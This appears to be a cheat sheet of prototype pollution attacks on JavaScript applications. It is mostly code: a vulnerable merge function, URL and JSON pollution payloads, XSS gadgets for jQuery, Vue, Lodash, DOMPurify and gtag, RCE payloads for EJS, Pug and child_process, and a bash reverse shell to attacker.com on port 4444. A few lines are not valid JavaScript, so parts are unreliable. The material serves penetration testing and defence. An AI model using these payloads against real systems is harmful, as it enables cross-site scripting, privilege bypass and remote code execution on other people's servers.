Prototype Pollution Attacks

// JavaScript Prototype Chain Basics

// Every object has a prototype chain
const obj = {};
console.log(obj.__proto__ === Object.prototype); // true

// Properties are looked up through the chain
obj.__proto__.polluted = "hacked";
console.log({}.polluted); // "hacked" - ALL objects now have this!

// Two ways to access prototype:
obj.__proto__           // Legacy, still widely supported
Object.getPrototypeOf(obj)  // Modern, safer

// Constructor.prototype
function User() {}
const user = new User();
user.constructor.prototype.isAdmin = true;
// All User instances now have isAdmin = true

// Prototype pollution attack pattern:
// Attacker controls: merge(target, userInput)
// User input:        {"__proto__": {"admin": true}}
// Result:            All objects now have admin=true

// Client-Side Prototype Pollution

// Vulnerable merge function (common pattern)
function merge(target, source) {
  for (let key in source) {
    if (typeof source[key] === 'object') {
      if (typeof target[key] !== 'object') {
        target[key] = {};
      }
      merge(target[key], source[key]);
    } else {
      target[key] = source[key];
    }
  }
  return target;
}

// Attack via URL fragment/query string
// https://vuln.com/#__proto__[admin]=true

// Parse user input
const hash = decodeURIComponent(location.hash.slice(1));
const config = {};
parseHashToObject(hash, config);
merge(config, {});

// Now Object.prototype.admin = true
// Check in console: {}.admin === true

// Attack via JSON parsing (if merge used)
const userInput = JSON.parse('{"__proto__": {"isAdmin": true}}');
merge({}, userInput);

// Common vulnerable patterns:
// - $.extend(true, {}, userInput)
// - _.merge({}, userInput)  
// - _.defaultsDeep({}, userInput)
// - Object.assign with nested objects
// - Custom recursive merge functions

// Finding Prototype Pollution Gadgets

// A "gadget" is code that uses polluted properties in dangerous ways

// Gadget Example 1: innerHTML sink
// Vulnerable code:
element.innerHTML = config.template || "<div>default</div>";

// Attack:
Object.prototype.template = "<img src=x onerror=alert(1)>";
// XSS triggered when code runs!

// Gadget Example 2: eval sink
// Vulnerable code:
const code = options.code || "console.log('safe')";
eval(code);

// Attack:
Object.prototype.code = "alert(document.cookie)";

// Gadget Example 3: Script src
// Vulnerable code:
const script = document.createElement('script');
script.src = config.cdnUrl || '/default.js';

// Attack:
Object.prototype.cdnUrl = "https://attacker.com/evil.js";

// Gadget Example 4: Template literal
// Vulnerable code:
const url = options.url || `${baseUrl}/api`;
fetch(url);

// Attack:
Object.prototype.url = "https://attacker.com/steal";

// Using DOM Invader (Burp Suite) to find gadgets:
// 1. Enable prototype pollution testing
// 2. Navigate site while it runs
// 3. DOM Invader identifies sinks

// Server-Side Prototype Pollution (Node.js)

// Express.js vulnerable to body-parser pollution
// POST /api/user
// {"__proto__": {"admin": true}}

// If merged into a config or user object:
const user = merge({}, req.body);
// Object.prototype.admin is now true

// Attack Example 1: Authorization Bypass
function isAdmin(user) {
  return user.admin === true;  // Checks own property AND prototype!
}

// After pollution:
isAdmin({}) // true! Empty object now has admin

// Attack Example 2: RCE via child_process
// Pollute shell/env options
Object.prototype.shell = "/bin/bash";
Object.prototype.env = { 
  BASH_FUNC_echo%%: "() { /bin/bash -i >& /dev/tcp/attacker.com/4444 0>&1 }"
};

const { exec } = require('child_process');
exec('echo hello');  // Uses polluted options -> RCE

// Attack Example 3: RCE via EJS template engine
Object.prototype.outputFunctionName = "x;process.mainModule.require('child_process').execSync('id')";

// When EJS renders a template, it uses the polluted property
res.render('index', {});  // RCE!

// Attack Example 4: Pug template engine
Object.prototype.block = {"type": "Text", "val": "x]});process.mainModule.require('child_process').execSync('id')//"};

# Prototype Pollution Detection Payloads

# URL-based detection
https://target.com/page?__proto__[test]=polluted
https://target.com/page?__proto__.test=polluted
https://target.com/page?constructor[prototype][test]=polluted
https://target.com/#__proto__[test]=polluted
https://target.com/#constructor.prototype.test=polluted

# JSON-based detection (POST body)
{"__proto__": {"polluted": "yes"}}
{"constructor": {"prototype": {"polluted": "yes"}}}

# Nested object pollution
{"a": {"__proto__": {"polluted": "yes"}}}

# Array notation
{"__proto__": ["polluted"]}
{"__proto__[0]": "polluted"}

# Check if pollution worked (Browser Console):
console.log({}.polluted);          // Should show "yes"
console.log(Object.prototype.polluted);

# Automated detection with ppfuzz
# https://github.com/dwisiswant0/ppfuzz
ppfuzz -u "https://target.com/page?FUZZ=test"

# With ppmap (finds PP + gadgets)
# https://github.com/kleiton0x00/ppmap
ppmap -u "https://target.com"

// Prototype Pollution to XSS Gadget Examples

// 1. jQuery $.html() gadget
// jQuery uses isPlainObject which checks constructor
Object.prototype.preventDefault = function(){};
Object.prototype.handleObj = { 
  handler: function(){ alert('XSS') }
};
// Trigger: $.html() calls event handlers

// 2. Vue.js gadget  
Object.prototype.v-html = "<img src=x onerror=alert(1)>";
// Vue template rendering uses this

// 3. Lodash template gadget
Object.prototype.sourceURL = "\u000dalert(1)//";
_.template({})(); // XSS via sourceURL

// 4. Backbone.js gadget
Object.prototype.escape = function(s) {
  return "<img src=x onerror=alert(1)>";
};
// Model.escape() uses polluted function

// 5. DOMPurify bypass (older versions)
Object.prototype.ALLOWED_TAGS = ['img'];
Object.prototype.ALLOW_UNKNOWN_PROTOCOLS = true;
DOMPurify.sanitize('<img src=x onerror=alert(1)>'); // Bypassed!

// 6. Google Analytics gtag gadget
Object.prototype.transport_url = "javascript:alert(1)//";
gtag('event', 'page_view'); // XSS

// Finding more gadgets with ppmap:
// https://github.com/kleiton0x00/ppmap
// Automatically finds pollution sources and matching gadgets